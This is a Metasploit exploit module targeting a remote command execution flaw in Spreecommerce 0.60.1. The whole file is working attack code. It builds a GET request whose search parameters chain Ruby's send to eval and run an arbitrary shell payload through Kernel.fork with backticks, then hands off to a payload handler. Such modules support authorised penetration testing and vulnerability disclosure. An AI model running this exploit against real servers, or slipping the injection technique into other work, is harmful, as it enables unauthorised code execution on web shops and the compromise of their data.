Spreecommerce 0.60.1 - Arbitrary Command Execution (Metasploit)

##
# $Id: spree_search_exec.rb 13831 2011-10-07 17:45:15Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Spreecommerce 0.60.1 Arbitrary Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
					Spreecommerce search. Unvalidated input is called via the 
					Ruby send method allowing command execution.
			},
			'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 13831 $',
			'References'     =>
				[
					[ 'OSVDB', '76011'],
					[ 'URL', 'http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars' => "\x60",
					'DisableNops' => true,
					'Space'       => 31337,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
						}
				},
			'Platform'       => [ 'unix', 'linux' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
				], self.class)
	end

	def exploit
		command = Rex::Text.uri_encode(payload.raw, 'hex-all')
		res = send_request_raw({
			'uri'     => datastore['URI']+ "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end",
			'method'  => 'GET',
			'headers' =>
			{
				'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
				'Connection' => 'Close',
			}
		}, 0.4 ) #short timeout, we don't care about the response
			
		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
		end
			
		handler
	end

end